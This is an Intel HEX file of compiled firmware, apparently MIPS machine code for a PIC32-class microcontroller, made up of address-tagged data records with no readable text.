:1097c00000a0023cdc564224c800428c030040103a
:1097d00000000000010002241600c2a31400c0a370
:1097e0001500c0a30ce6400b0000000000a0023ce6
:1097f000dc564224a400438c1400c493059d023c13
:10980000ac5f4224211082000000429005006214e7
:1098100000000000010002241500c2a310e6400b66
:10982000000000001400c293010042241400c2a3ef
:109830001400c2930800422cecff4014000000000a
:109840001500c29303004014000000000100022430
:109850001600c2a31600c2931a00401000000000b8
:109860001000c28f00d8437c0090023c251062009b
:109870001000c2af1000c38f0200023c251062002e
:109880001000c2af1000c38f03ff023cffff423441
:109890002418620000a0023cdc564224a400428c42
:1098a000feff42244210020080240200fc00023c21
:1098b00024108200251062001000c2af3ce6400b6d
:1098c000000000001000c38fe3ff023cffff4234a2
:1098d000241862001400c29380140200212040006a
:1098e0001c00023c24108200251062001000c2af50
:1098f00000a0023cdc564224a800428c0c00401020
:10990000000000001000c38ffff30224241862003f
:1099100000a0023cdc564224a800428c82100200c7
:1099200080120200000c4230251062001000c2af0d
:1099300000a0023cdc564224cc00428c0b004010bc
:109940000000000000a0023cdc564224a00043902e
:109950000100022405006214000000000800022437
:109960001500c2a398e6400b0000000000a0023cd6
:10997000dc564224c400428c0b0040100000000062
:1099800000a0023cdc564224a000439001000224c7
:109990000500621400000000100002241500c2a39c
:1099a00098e6400b0000000000a0023cdc56422478
:1099b000a00042900700432c260060100000000029
:1099c00080180200049d023cdc99422421106200b0
:1099d0000000428c0800400000000000549a039de3
:1099e000f899039d049a039d149a039d249a039d5c
:1099f000349a039d449a039d1500c0a398e6400b3a
:109a000000000000040002241500c2a398e6400be9
:109a100000000000050002241500c2a398e6400bd8
:109a200000000000010002241500c2a398e6400bcc
:109a300000000000020002241500c2a398e6400bbb
:109a400000000000030002241500c2a398e6400baa
:109a50000000000021100000b4e6400b00000000f0
:109a60001000c38ffeff023cff0f42342418620037
:109a70001500c29300130200212040000100023ca7
:109a800000f0423424108200251062001000c2afa2
:109a90001000c38f1fff02242418620000a0023ca4
:109aa000dc564224b000428c4211020040110200f8
:109ab000ff004230251062001000c2af2000c48faa
:109ac0001000c58facb6400f00000000010002245a
:109ad00021e8c0031c00bf8f1800be8f2000bd27e7
:109ae0000800e00300000000e8ffbd271400bfaf3e
:109af0001000beaf21f0a0031800c4af2110a000d9
:109b00001c00c2a31c00c2931600432c600060100e
:109b10000000000080180200049d023c309b42249b
:109b2000211062000000428c08004000000000008c
:109b3000909c039d889b039d889b039d889b039d10
:109b4000889b039d889b039d889b039d909c039d00
:109b5000909c039d489c039d909c039db89b039df6
:109b6000009c039d249c039d489c039ddc9b039dbe
:109b70006c9c039db89b039d909c039d909c039db2
:109b8000909c039d489c039d1800c48f059d023c3a
:109b90004cf9452408000624494a410f0000000002
:109ba0001800c48fe6e5400f000000000100022409
:109bb00025e7400b000000001800c48f059d023c03
:109bc00058f9452408000624494a410f00000000c6
:109bd0000100022425e7400b000000001800c48f9c
:109be000059d023c64f9452408000624494a410fba
:109bf000000000000100022425e7400b00000000e7
:109c00001800c48f059d023c70f945240800062405
:109c1000494a410f000000000100022425e7400be3
:109c2000000000001800c48f059d023c7cf945240b
:109c300008000624494a410f0000000001000224e8
:109c400025e7400b000000001800c48f059d023c72
:109c500088f9452408000624494a410f0000000005
:109c60000100022425e7400b000000001800c48f0b
:109c7000059d023c94f9452408000624494a410ff9
:109c8000000000000100022425e7400b0000000056
:109c90002110000021e8c0031400bf8f1000be8f08
:109ca0001800bd270800e00300000000e8ffbd2702
:109cb0001400bfaf1000beaf21f0a00300a0023c13
:109cc000d857442421280000081206246551410f6a
:109cd0000000000021e8c0031400bf8f1000be8ff9
:109ce0001800bd270800e00300000000d0fdbd27dc
:109cf0002c02bfaf2802beaf21f0a00300a0023c9f
:109d0000d85742902118400000a0023c8018030060
:109d100018714224211062000000428c059d033c12
:109d2000283e6424212840002013410f0000000039
:109d300000a0023cd8574224010042902118400064
:109d400000a0023c80180300187142242110620018
:109d50000000428c059d033c403e642421284000c5
:109d60002013410f00000000059d023c5c3e44248e
:109d700000a0023cda5745242013410f00000000e8
:109d800000a0023cd8574224010042900600401433
:109d90000000000000a0023cd85742901000c2a36f
:109da0006ee7400b0000000000a0023cd8574224a0
:109db000010042901000c2a31000c2931400c327f8
:109dc0002120600000a0033cda57652421304000c8
:109dd0007e2c410f00000000040040100000000035
:109de0001400c2277de7400b00000000059d023ce7
:109df000783e4224059d033c843e64242128400093
:109e00002013410f0000000000a0023cd8574290f0
:109e10001802c3272120600021284000cb25410fd4
:109e2000000000004100401000000000059d023cc1
:109e3000a03e4424059d023ca43e45242013410f2e
:109e4000000000001c02c0af00a0023cd8574290a6
:109e50001c02c32721206000212840004a26410f10
:109e6000000000002002c0af00a0023cd857429082
:109e70002002c32721206000212840007d26410fb9
:109e80000000000000a0023cd85742240412438c7a
:109e90001802c28f1800620012180000821003001e
:109ea0000002432400a0023cd85742242110620043
:109eb0000300442400a0023cd85742240412438cdf
:109ec0001c02c28f180062001218000082100300ea
:109ed0000002432400a0023cd85742242110620013
:109ee0000300452400a0023cd85742240412438cae
:109ef0002002c28f180062001218000082100300b6
:109f00000002432400a0023cd857422421106200e2
:109f10000300432400a0023cd85742902130600047
:109f2000213840003927410f0000000000a0023c0a
:109f3000d857422403124290090040140000000048
:109f4000059d023ca03e4424059d023ca43e4524c0
:109f50002013410f000000001de8400b000000002e
:109f6000059d023ca03e4424059d023cac3e452498
:109f70002013410f0000000000a0023cd8574224eb
:109f80000412428c821002001000c32721106200cc
:109f9000040040a01802c0af0fe8400b0000000012
:109fa00000a0023cd85742240412438c1802c28fee
:109fb00018006200121800008210030000024324ff
:109fc00000a0023cd8574224211062000300432421
:109fd00000a0023cd85742240412428c8210020096
:109fe0001400c4272128600021304000494a410f55
:109ff000000000001400c2930d004010000000009b
:10a000001802c28f059d033cc43e642421284000f1
:10a010008513410f000000001400c227059d033c7a
:10a02000a03e6424212840002013410f00000000be
:10a030001802c28f010042241802c2af00a0023ce5
:10a04000d857422403124290211840001802c28fb0
:10a050002b104300d2ff401400000000059d023c7d
:10a06000a03e4424059d023ca43e45242013410ffc
:10a070000000000021e8c0032c02bf8f2802be8f21
:10a080003002bd270800e00300000000e0ffbd270c
:10a090001c00bfaf1800beaf21f0a0032000c4af6a
:10a0a0002000c48f52bf400f000000001000c2a368
:10a0b0001000c293040040140000000021100000b2
:10a0c00037e8400b000000001000c2932120400040
:10a0d0003de8400f000000000100022421e8c00319
:10a0e0001c00bf8f1800be8f2000bd270800e003b2
:10a0f00000000000e8ffbd271400bfaf1000beaf96
:10a1000021f0a003211080001800c2a32be7400f0c
:10a110000000000000a0023c1800c393d85743a0e1
:10a120001800c293212040007bbf400f00000000b8
:10a130002118400000a0023cd8574224041243ac2e
:10a140001800c29321204000bcbf400f0000000057
:10a15000ff00433000a0023cd8574224031243a022
:10a1600021e8c0031400bf8f1000be8f1800bd2768
:10a170000800e00300000000d8ffbd272400bfafa7
:10a180002000beaf21f0a0032800c4af2110a00022
:10a190003000c6af2c00c2a32800c28f000042804e
:10a1a0000e0040140000000000a0023cd85742906e
:10a1b00005004014000000002c00c2931000c2a350
:10a1c00081e8400b0000000000a0023cd8574290fc
:10a1d0001000c2a381e8400b000000002800c48fdb
:10a1e00052bf400f000000001000c2a31000c29335
:10a1f000040040140000000021100000efe8400bb4
:10a200000000000000a0023cdc564224870042907f
:10a210001000c3930a006214000000001000c293f3
:10a22000212040003de8400f0000000000a0023c5b
:10a23000d8574224010040a0a7e8400b00000000ce
:10a240002c00c3931000c29300a0043cdc1c8424a7
:10a250002128600021304000fb26410f0000000053
:10a260000b004010000000001000c29321204000ad
:10a270003de8400f0000000000a0023cd8574224f7
:10a280002c00c393010043a0a7e8400b000000008e
:10a2900021100000efe8400b000000002c00c293ea
:10a2a00000a0033cda5764243000c58f2130400001
:10a2b00069c5400f000000000400401400000000c9
:10a2c00021100000efe8400b000000001000c293d6
:10a2d0001400c3272120600021284000cb25410f16
:10a2e00000000000340040100000000000a0023c0c
:10a2f000d85742240412438c1400c28f1800620005
:10a3000012180000821003000002432400a0023c47
:10a31000d857422421106200030044242c00c39328
:10a320001000c2932128600021304000fb26410f1d
:10a330000000000004004014000000002110000094
:10a34000efe8400b000000001000c2931800c32784
:10a3500021206000212840000826410f0000000055
:10a36000150040100000000000a0023cd857422415
:10a370000412438c1800c28f1800620012180000eb
:10a38000821003000002432400a0023cd85742245c
:10a39000211062000300432400a0023cd8574290e1
:10a3a0002120600000a0033cda57652421304000e2
:10a3b00004c6400f000000000100022421e8c00391
:10a3c0002400bf8f2000be8f2800bd270800e003b7
:10a3d00000000000d8fdbd272402bfaf2002beafa1
:10a3e00021f0a0032802c4af2c02c5af1100c0a306
:10a3f0002802c28f000042801000401400000000bc
:10a4000000a0023cd8574290070040140000000012
:10a4100000a0023cdc564224870042901000c2a3f8
:10a4200019e9400b0000000000a0023cd857429000
:10a430001000c2a319e9400b000000002802c48fdd
:10a4400052bf400f000000001000c2a31000c293d2
:10a45000040040140000000021100000c7e9400b78
:10a46000000000001400c22721204000f82b410ffb
:10a470000000000004004014000000002110000053
:10a48000c7e9400b000000001000c29321204000eb
:10a490003de8400f0000000000a0023cdc564224d2
:10a4a000870042901000c3934e0062140000000029
:10a4b00000a0023cd8574224010040a02120000007
:10a4c00000a0023cdc1c45242c02c68fde50410f4c
:10a4d00000000000070040140000000021200000e0
:10a4e00000a0023cdc1c45242c02c68f5a54410fac
:10a4f000000000001400c22700a0033cda576424c7
:10a50000212840007f49410f0000000000a0023ccc
:10a51000d857422403124290040040140000000067
:10a5200001000224c7e9400b000000001200c0a394
:10a530006fe9400b000000001200c39300a0023c32
:10a54000d85742240412428c1800620012180000ee
:10a55000821003000002432400a0023cd85742248a
:10a5600021106200030044241200c3931200c2931e
:10a570002128600021304000cc43410f0000000042
:10a5800009004014000000001200c293059d033c26
:10a59000dc3e6424212840008513410f00000000a8
:10a5a0006ce9400b00000000010002241100c2a36e
:10a5b0001200c293010042241200c2a300a0023c78
:10a5c000d8574224031242901200c3932b1062000a
:10a5d000d9ff4014000000001100c293c7e9400bee
:10a5e0000000000000a0023cdc564224870043909b
:10a5f00000a0023cd8574224010043a01400c22707
:10a6000000a0033cda576424212840007f49410f11
:10a61000000000001000c2931802c3272120600030
:10a6200021284000cb25410f000000000900401008
:10a63000000000001000c2931c02c327212060000c
:10a64000212840000826410f0000000004004014ab
:10a650000000000021100000c7e9400b00000000ce
:10a6600000a0023cd85742240412438c1802c28f27
:10a670001800620012180000821003000002432438
:10a6800000a0023cd8574224211062000300442459
:10a6900000a0023cdc564224870042902118400072
:10a6a0001000c2932128600021304000fb26410f9a
:10a6b0000000000004004014000000002110000011
:10a6c000c7e9400b0000000000a0023cd85742241c
:10a6d0000412438c1c02c28f180062001218000082
:10a6e000821003000002432400a0023cd8574224f9
:10a6f000211062000300432400a0023cd85742907e
:10a700002120600000a0033cda576524213040007e
:10a7100004c6400f000000000100022421e8c0032d
:10a720002402bf8f2002be8f2802bd270800e0034d
:10a7300000000000e0fdbd271c02bfaf1802beaf45
:10a7400021f0a0032002c4af00a0023cd8574290e1
:10a75000040040140000000021100000fbe9400b41
:10a760000000000000a0023cd857422401004290a3
:10a77000060040140000000000a0023cd8574290a0
:10a780001000c2a3e7e9400b0000000000a0023c5b
:10a79000d8574224010042901000c2a31000c29377
:10a7a0001400c3272120600000a0033cda57652471
:10a7b000213040007e2c410f0000000004004014b6
:10a7c0000000000021100000fbe9400b0000000029
:10a7d0001000c3931400c2272002c48f21286000f8
:10a7e000213040005ee8400f0000000021e8c00377
:10a7f0001c02bf8f1802be8f2002bd270800e00395
:10a8000000000000d8fcbd272403bfaf2003beaf6b
:10a8100021f0a0032803c4af1400c0af00a0023c85
:10a820002002c427dc564324fc00022421286000b7
:10a8300021304000494a410f0000000000a0023cc6
:10a84000dc5642248700439000a0023cd857429037
:10a85000130062100000000000a0023cd857429094
:10a8600021204000abc0400f000000000c0040144d
:10a870000000000000a0023cdc5644242002c32754
:10a88000fc0002242128600021304000494a410f89
:10a89000000000002110000062eb400b00000000ef
:10a8a0001c00c22721204000f82b410f00000000af
:10a8b0001c00c2271000c48f212840002803c68f27
:10a8c000de50410f000000001400c2af1400c28f20
:10a8d00008004014000000001c00c2271000c48fb4
:10a8e000212840002803c68f5a54410f0000000061
:10a8f0001400c2af00a0023cdc5642248700429004
:10a900001800c3272120600021284000cb25410fdb
:10a9100000000000040040140000000021100000ae
:10a9200062eb400b0000000000a0023cdc56422419
:10a9300087004390080002243900621000000000e4
:10a9400000a0023cd85742240412428c821002001c
:10a950001000c327211062000c0040a000a0023ca0
:10a96000dc564224870042902118400000a0023c9f
:10a97000dc564224870042901c00c4272128600036
:10a9800021304000fb26410f000000000c00401465
:10a990000000000000a0023cdc5644242002c32733
:10a9a000fc0002242128600021304000494a410f68
:10a9b000000000002110000062eb400b00000000ce
:10a9c0001800c38f1c00c2272120600021284000ee
:10a9d000010006244048410f000000000c00401414
:10a9e0000000000000a0023cdc5644242002c327e3
:10a9f000fc0002242128600021304000494a410f18
:10aa0000000000002110000062eb400b000000007d
:10aa10001c00c22721204000f82b410f000000003d
:10aa200000a0023cd85742240412428c821002003b
:10aa30001000c327211062000c0040a01000c0af1e
:10aa4000fdea400b000000001800c28f1000c38f09
:10aa5000650062100000000000a0023cd8574224ac
:10aa60000412438c1000c28f180062001210000004
:10aa70008218020000a0023cd85742242110620034
:10aa80000302429058004010000000001000c28fe6
:10aa9000070040140000000000a0023cdc564224e5
:10aaa00087004390080002244f006210000000005d
:10aab00000a0023cdc564224870043900800022498
:10aac00012006210000000001c00c2271000c48f9a
:10aad000212840002803c68fde50410f00000000ef
:10aae0001400c2af1400c28f080040140000000020
:10aaf0001c00c2271000c48f212840002803c68fe5
:10ab00005a54410f000000001400c2af00a0023ce4
:10ab1000d85742240412438c1000c28f18006200e0
:10ab200012180000821003000002432400a0023c1f
:10ab3000d8574224211062000300432400a0023ca5
:10ab4000d85742240412428c821002001c00c427f1
:10ab50002128600021304000494a410f00000000d8
:10ab6000059d023cec3e44241000c58f8513410f27
:10ab7000000000001c00c227059d033ca03e642489
:10ab8000212840002013410f000000001c00c227b4
:10ab90001000c48f21284000010006244048410fc6
:10aba000000000001000401400000000059d023c61
:10abb000a03e4424059d023cf43e45242013410f51
:10abc000000000001400c28f0700401400000000c5
:10abd000059d023ca03e4424059d023c003f4524c7
:10abe0002013410f000000001000c28f010042241a
:10abf0001000c2af00a0023cd8574224031242907a
:10ac0000211840001000c28f2b1043008eff40140b
:10ac10000000000000a0023cdc5642248700439064
:10ac2000080002240f006210000000001c00c22770
:10ac30001000c48f212840002803c68fde50410f2a
:10ac40000000000007004014000000001c00c227a4
:10ac50001000c48f212840002803c68f5a54410f8a
:10ac60000000000000a0023cd85742240412428c8d
:10ac7000821002001000c327211062000c0040a0c7
:10ac800000a0023cd85742240412438c1800c28f03
:10ac90001800620012180000821003000002432412
:10aca00000a0023cd8574224211062000300432434
:10acb00000a0023cd85742240412428c82100200a9
:10acc0001c00c4272128600021304000494a410f60
:10acd000000000001800c28f059d033c103f642453
:10ace000212840008513410f000000001c00c227ee
:10acf000059d033ca03e6424212840002013410f01
:10ad0000000000001800c38f1c00c2272120600033
:10ad100021284000213000004048410f0000000081
:10ad20000e0040140000000000a0023cdc56442449
:10ad30002002c327fc0002242128600021304000ab
:10ad4000494a410f00000000e00c410f00000000e4
:10ad50002110000062eb400b0000000000a0023c4c
:10ad6000dc5644242002c327fc0002242128600072
:10ad700021304000494a410f00000000e00c410f23
:10ad8000000000000100022421e8c0032403bf8f5b
:10ad90002003be8f2803bd270800e0030000000049
:10ada000d8ffbd272400bfaf2000beaf1c00b0af4e
:10adb00021f0a0032800c4af2c00c5af2c00c48f25
:10adc000a34a410f000000008010020000a0033cd5
:10add000d857632403126390212060002800c38f9a
:10ade0002320830000a0033cd85763240412638c03
:10adf00018008300121800002b1062000900401494
:10ae00000000000000a0023cd857422403124290e8
:10ae1000211840002800c28f2b104300040040146a
:10ae20000000000021100000fdeb400b00000000be
:10ae300000a0023cd8574224010042902c00401050
:10ae40000000000000a0023cd85742901000c32729
:10ae500021206000212840000826410f000000004a
:10ae600023004010000000002c00c48fa34a410fb3
:10ae7000000000008018020000a0023cd8574224c5
:10ae80000412428c1b006200f4014000101000000c
:10ae9000121800002800c28f21106200ffff50240a
:10aea00000a0023cd85742240100429021204000db
:10aeb00006c0400f000000002118400000a0023c26
:10aec000d85742240412428c1b006200f401400057
:10aed00010100000121000002b1050000400401051
:10aee0000000000021100000fdeb400b00000000fe
:10aef00000a0023cd85742240412438c2800c28f81
:10af00001800620012200000821004000002432496
:10af100000a0023cd85742242110620003005024b4
:10af20002c00c48fa34a410f000000002120000222
:10af30002c00c58f21304000494a410f000000001d
:10af400000a0023cd8574224010042902800401043
:10af50000000000000a0023cd85742901000c32718
:10af600021206000212840000826410f0000000039
:10af70001f0040100000000000a0023cd8574224ef
:10af80000412438c1000c28f1800620012180000d7
:10af9000821003000002432400a0023cd857422440
:10afa000211062000300432400a0023cd857422431
:10afb0000412448c00a0023cd85742240312429051
:10afc000212840001000c28f2310a2001800820028
:10afd000122000008210040000a0043cda578424f0
:10afe0002128600021304000494a410f0000000044
:10aff0000100022421e8c0032400bf8f2000be8f7f
:10b000001c00b08f2800bd270800e00300000000ee
:10b01000e8ffbd271400bfaf1000beaf21f0a003b2
:10b02000571d410f0000000021e8c0031400bf8f2e
:10b030001000be8f1800bd270800e00300000000cc
:10b04000f8ffbd270400beaf21f0a00301000224d9
:10b0500021e8c0030400be8f0800bd270800e003fc
:10b0600000000000e0ffbd271c00bfaf1800beaf0e
:10b0700021f0a00388bf033c206162940442027c5b
:10b08000206162a400a0023cf4174424ff000524c0
:10b09000210006246551410f000000000200042435
:10b0a0003a1c410f0000000088bf033c60606294be
:10b0b00001000424444a827c606062a4748080a3fe
:10b0c000708080af788080af7c8080af6c8080a300
:10b0d0006881828fc0100200801802002110430096
:10b0e000801802002110430000190200231862009a
:10b0f00000110300231843007081828f1b0062003f
:10b10000f40140001010000012100000ffff423058
:10b110001000c2af020004243a1c410f00000000de
:10b1200080bf033c0060629401000424c47b827ce5
:10b13000006062a4020004243a1c410f00000000d9
:10b1400080bf033c0032629401000424c47b827cf3
:10b15000003262a480bf033c000862940100042412
:10b16000c47b827c000862a4020004243a1c410fc4
:10b170000000000088bf033c2061629401000424a9
:10b180000442827c206162a46c808293211840007a
:10b1900000a0023cf4174224211862001000c28f64
:10b1a000ffff42302120600021284000a61c410ff3
:10b1b000000000000f004010000000006c8082932f
:10b1c00001004224ff0042306c8082a36c80839394
:10b1d0002100022403006214000000007eec400bfa
:10b1e00000000000802502241000c2af62ec400b7a
:10b1f00000000000000000006c8082930300422cdd
:10b20000e40040140000000000a0023cf4174224b7
:10b21000010042901500c2a3020002241400c2a340
:10b220004b8180a34b8182935c8182a35c8182935a
:10b230005f8182a35f8182934a8182a34c8180a334
:10b240004c8182935d8182a35d818293618182a31f
:10b2500061818293498182a34d8180a34d81829334
:10b260005e8182a35e818293608182a360818293ea
:10b27000488182a31500c293100042300a0040109a
:10b28000000000001400c293010043241400c3a373
:10b290002118400000a0023cf41742242110620053
:10b2a000000042904a8182a31500c29320004230e0
:10b2b0000a004010000000001400c2930100432463
:10b2c0001400c3a32118400000a0023cf41742243c
:10b2d00021106200000042905f8182a31500c2939a
:10b2e000400042300a004010000000001400c293e9
:10b2f000010043241400c3a32118400000a0023c15
:10b30000f417422421106200000042905c8182a365
:10b310001500c2830a004104000000001400c2931b
:10b32000010043241400c3a32118400000a0023ce4
:10b33000f417422421106200000042904b8182a346
:10b340004b818293f00042307c00401000000000ee
:10b350004b818293100042300a0040100000000030
:10b360001400c293010043241400c3a32118400019
:10b3700000a0023cf4174224211062000000429019
:10b38000498182a34b818293200042300a00401001
:10b39000000000001400c293010043241400c3a362
:10b3a0002118400000a0023cf41742242110620042
:10b3b00000004290618182a34b8182934000423021
:10b3c0000a004010000000001400c2930100432452
:10b3d0001400c3a32118400000a0023cf41742242b
:10b3e00021106200000042905d8182a34b81829314
:10b3f0002014027c0a004104000000001400c293e3
:10b40000010043241400c3a32118400000a0023c03
:10b41000f417422421106200000042904c8182a364
:10b420004c818293f0004230440040100000000044
:10b430004c8182931000423019004010000000003f
:10b440001400c293010043241400c3a32118400038
:10b4500000a0023cf4174224211062000000429038
:10b46000488182a3488182931000422c0500401439
:10b470000000000048818393ff000224080062144a
:10b480000000000094ee400f0000000008000224bd
:10b490007c8082af211000006bed400b00000000ab
:10b4a0004c818293200042300a00401000000000ce
:10b4b0001400c293010043241400c3a321184000c8
:10b4c00000a0023cf41742242110620000004290c8
:10b4d000608182a34c818293400042300a00401078
:10b4e000000000001400c293010043241400c3a311
:10b4f0002118400000a0023cf417422421106200f1
:10b50000000042905e8182a34c8182932014027cd1
:10b510000a004104000000001400c293010043240b
:10b520001400c3a32118400000a0023cf4174224d9
:10b5300021106200000042904d8182a31500c29349
:10b540000f004230ff004230748082a374808293e7
:10b5500007004010000000001400c39300a0023c4c
:10b56000f4174224211062005ded400b0000000042
:10b5700021100000708082af61ef400f00000000da
:10b5800001000224788082af010002246bed400ba1
:10b5900000000000020002247c8082af788080af2f
:10b5a00094ee400f000000002110000021e8c003cd
:10b5b0001c00bf8f1800be8f2000bd270800e003cd
:10b5c00000000000c0ffbd273c00bfaf3800beaf89
:10b5d0003400b5af3000b4af2c00b3af2800b2af29
:10b5e0002400b1af2000b0af21f0a0034000c4aff1
:10b5f0001c00c0a31d00c0a31e00c0a31000022495
:10b600001100c2a3020002241200c2a303000224fc
:10b610001300c2a31400c0a36881828fb700033c4b
:10b62000001b63341b006200f40140001010000096
:10b63000121000001800c2af1000c0a3aded400b07
:10b64000000000004000c28f01004224000043902f
:10b650001100c29324106200ff0042300f0040101e
:10b66000000000001300c293010042241300c2a393
:10b670001000c2931200c3934000c48f21188300ae
:10b68000000063901000c427211082000c0043a02a
:10b690001200c293010042241200c2a31100c293ff
:10b6a000401002001100c2a31000c2930100422406
:10b6b0001000c2a31000c2930300422ce1ff40140b
:10b6c00000000000448180a37880838f0100022461
:10b6d00005006214000000004b818293100042308c
:10b6e00004004010000000002110000078ee400b24
:10b6f000000000001000c0a3cced400b00000000d3
:10b700001800c48f1d1c410f000000001000c293e0
:10b71000010043241000c3a34000c38f2110620026
:10b7200000004290212040004f1c410f000000000b
:10b730001300c293ffff43241300c3a3f0ff401480
:10b74000000000001000c0a31000c39350818227a6
:10b75000211062002120400080250524a61c410ff5
:10b76000000000000b004010000000001000c29319
:10b77000010042241000c2a31000c393070002245a
:10b780000b006214000000002110000078ee400b56
:10b7900000000000000000001000c2930300422cd3
:10b7a0008e00401400000000eeed400b0000000091
:10b7b000d2ed400b0000000050818393ff00022473
:10b7c00086006214000000004000c28f0100422485
:10b7d000000042902118400051818293261062009f
:10b7e0000f0042307d0040140000000002000224df
:10b7f0001100c2a351818293100042300e0040100c
:10b80000000000001100c3935081822721106200c4
:10b81000000043901c00c29304006210000000006e
:10b820002110000078ee400b000000001100c293d0
:10b83000010042241100c2a35181829320004230b2
:10b840000e004010000000001100c39350818227b9
:10b8500021106200000043901d00c293040062109a
:10b86000000000002110000078ee400b00000000f6
:10b870001100c293010042241100c2a3518182939e
:10b88000400042300b004010000000001100c39344
:10b890005081822721106200000043901e00c29355
:10b8a00004006210000000002110000078ee400b40
:10b8b000000000001400c0a31100c0a33bee400b29
:10b8c000000000001100c393508182272110620004
:10b8d000000043901400c293261062001400c2a31b
:10b8e0001100c293010042241100c2a31100c393ae
:10b8f0001000c2932b106200f2ff40140000000001
:10b900001400c29304004010000000002110000049
:10b9100078ee400b0000000051818293100042300d
:10b920002900401000000000528182932120400035
:10b93000b6ee400f000000007081828f2190400021
:10b94000219800001480829321804000218800000b
:10b9500002107072180032021218000021204300f9
:10b96000190050021210000010180000212083005e
:10b970002118800015808493212880001080848ff6
:10b980001800a40012a0000021a8000021204000ff
:10b9900021286000213080022138a0020733410fa6
:10b9a00000000000130040001100600012100000b1
:10b9b00010180000688182af241d410f00000000b4
:10b9c00061ef400f000000001000c293448182a389
:10b9d0000100022478ee400b00000000211000005e
:10b9e00021e8c0033c00bf8f3800be8f3400b58f04
:10b9f0003000b48f2c00b38f2800b28f2400b18f99
:10ba00002000b08f4000bd270800e00300000000c8
:10ba1000f8ffbd270400beaf21f0a0037880838f1c
:10ba2000010002240400621400000000140002243b
:10ba30008fee400b000000001e00022421e8c0032e
:10ba40000400be8f0800bd270800e00300000000ce
:10ba5000e8ffbd271400bfaf1000beaf21f0a00368
:10ba600088bf033c206162940442027c206162a48e
:10ba7000010004243a1c410f0000000080bf033c79
:10ba800000326294c47b027c003262a480bf033c1b
:10ba900000086294c47b027c000862a480bf023c60
:10baa000100840ac471d410f0000000088bf033c58
:10bab00060606294444a027c606062a4788080afd7
:10bac00021e8c0031400bf8f1000be8f1800bd27ef
:10bad0000800e00300000000f0ffbd270c00beaf2f
:10bae00021f0a003211080001000c2a31000c29317
:10baf0000f0042300000c2a301000224148082a380
:10bb000001000224158082a30000c2931000432c80
:10bb10004d0060100000000080180200049d023cef
:10bb200034bb4224211062000000428c0800400017
:10bb30000000000044bc039d44bc039d74bb039df6
:10bb400084bb039d94bb039da4bb039db4bb039d19
:10bb500044bc039dc4bb039dd4bb039de4bb039db8
:10bb6000f4bb039d04bc039d14bc039d24bc039d36
:10bb700034bc039d02000224148082a312ef400b08
:10bb80000000000004000224148082a312ef400b86
:10bb90000000000008000224148082a312ef400b72
:10bba0000000000010000224148082a312ef400b5a
:10bbb0000000000020000224148082a312ef400b3a
:10bbc000000000000c000224148082a312ef400b3e
:10bbd0000000000014000224148082a312ef400b26
:10bbe0000000000002000224158082a312ef400b27
:10bbf0000000000004000224158082a312ef400b15
:10bc00000000000008000224158082a312ef400b00
:10bc10000000000010000224158082a312ef400be8
:10bc20000000000020000224158082a312ef400bc8
:10bc30000000000040000224158082a312ef400b98
:10bc400000000000000000001000c293021102007a
:10bc50000000c2a374010224108082af0000c293ce
:10bc60001000432c42006010000000008018020009
:10bc7000049d023c88bc4224211062000000428cda
:10bc800008004000000000006cbd039d6cbd039dda
:10bc9000c8bc039dd8bc039de8bc039df8bc039db4
:10bca00008bd039d6cbd039d6cbd039d18bd039d28
:10bcb00028bd039d38bd039d48bd039d58bd039d10
:10bcc0006cbd039d6cbd039d2e020224108082afcb
:10bcd0005cef400b00000000e8020224108082affd
:10bce0005cef400b000000005c040224108082af77
:10bcf0005cef400b00000000d0050224108082aff2
:10bd00005cef400b0000000044070224108082af6b
:10bd10005cef400b0000000000020224108082afa4
:10bd20005cef400b0000000000030224108082af93
:10bd30005cef400b0000000000040224108082af82
:10bd40005cef400b0000000000060224108082af70
:10bd50005cef400b0000000000080224108082af5e
:10bd6000000000005cef400b00000000000000003d
:10bd700021e8c0030c00be8f1000bd270800e003bf
:10bd800000000000f0ffbd270c00beaf21f0a003b3
:10bd90005c818393ff000224050062100000000014
:10bda0005c8182930c004224ffff4230468182a7cf
:10bdb0004b8182930f004330010002240b00621478
:10bdc000000000005c818393ff00022405006214e0
:10bdd000000000000b000224468182a799ef400b6f
:10bde0000000000099ef400b000000005c8183938d
:10bdf000ff00022403006214000000000c00022473
:10be0000468182a74b81829340004230050040105a
:10be1000000000005d8182930000c2a38bef400b05
:10be2000000000000a0002240000c2a30000c39327
:10be3000148082931800620012100000801102002a
:10be40000019020023186200158082931b00620013
:10be5000f40140001010000012100000648182af55
:10be600000000000468182972120400021108000c0
:10be7000c010020040190200231862008011030064
:10be800023104300211044008011020021184000bb
:10be90006881828f1b006200f401400010100000d6
:10bea00012100000588182af21e8c0030c00be8f41
:10beb0001000bd270800e00300000000d8ffbd27e8
:10bec0002400bfaf2000beaf21f0a0032800c4af04
:10bed0002c00c5af3000c6af1000c0a72800c28f2d
:10bee000050042901200c2a72800c28f04004290b1
:10bef0001600c2a32800c28f010042901700c2a3ff
:10bf00001500c0a37880838f010002240600621010
:10bf100000000000030002247c8082af211000009a
:10bf2000adf0400b000000002c00c48f2128000061
:10bf3000040006246551410f000000002800c28f54
:10bf40001800c2af1400c0a3e2ef400b00000000d5
:10bf50001400c2931800c38f2110620000004290a9
:10bf6000212040004f1c410f000000005881828fab
:10bf7000212040001d1c410f000000001400c2934e
:10bf8000010042241400c2a31400c2930400422cf6
:10bf9000efff4014000000001600c293070040109d
:10bfa000000000001600c293212040004f1c410fea
:10bfb00000000000feef400b000000001200c297de
:10bfc00008004010000000001200c297ff0042303d
:10bfd000212040004f1c410f00000000feef400bed
:10bfe00000000000212000004f1c410f0000000055
:10bff000000102241200c2a76481828fffff423039
:10c000001c00c3272120600021284000a61c410fee
:10c01000000000000600401400000000040002249c
:10c020007c8082af21100000adf0400b00000000ca
:10c030001c00c393600002249c00621000000000fa
:10c040001c00c293f000433060000224060062101e
:10c05000000000001c00c293f00043309000022456
:10c060001c006214000000001c00c3932c00c28f4f
:10c07000020043a06481828fffff42301c00c3276f
:10c080002120600021284000a61c410f0000000074
:10c090000b004010000000001c00c3932c00c28f56
:10c0a000030043a0000000002c00c28f1000c397c3
:10c0b000000043a401000224adf0400b000000008a
:10c0c000040002247c8082af21100000adf0400b00
:10c0d000000000001c00c2931700c39342006214ca
:10c0e000000000001500c3931600c2932b106200dd
:10c0f0001c004010000000005881828f2120400069
:10c100001d1c410f0000000052f0400b0000000019
:10c110001500c2933000c38f2110620000004290ce
:10c12000212040004f1c410f000000005881828fe9
:10c13000212040001d1c410f000000001500c2938b
:10c14000010042241500c2a31500c3931600c29338
:10c150002b106200eeff401400000000feef400bc9
:10c160000000000073f0400b000000006481828f2b
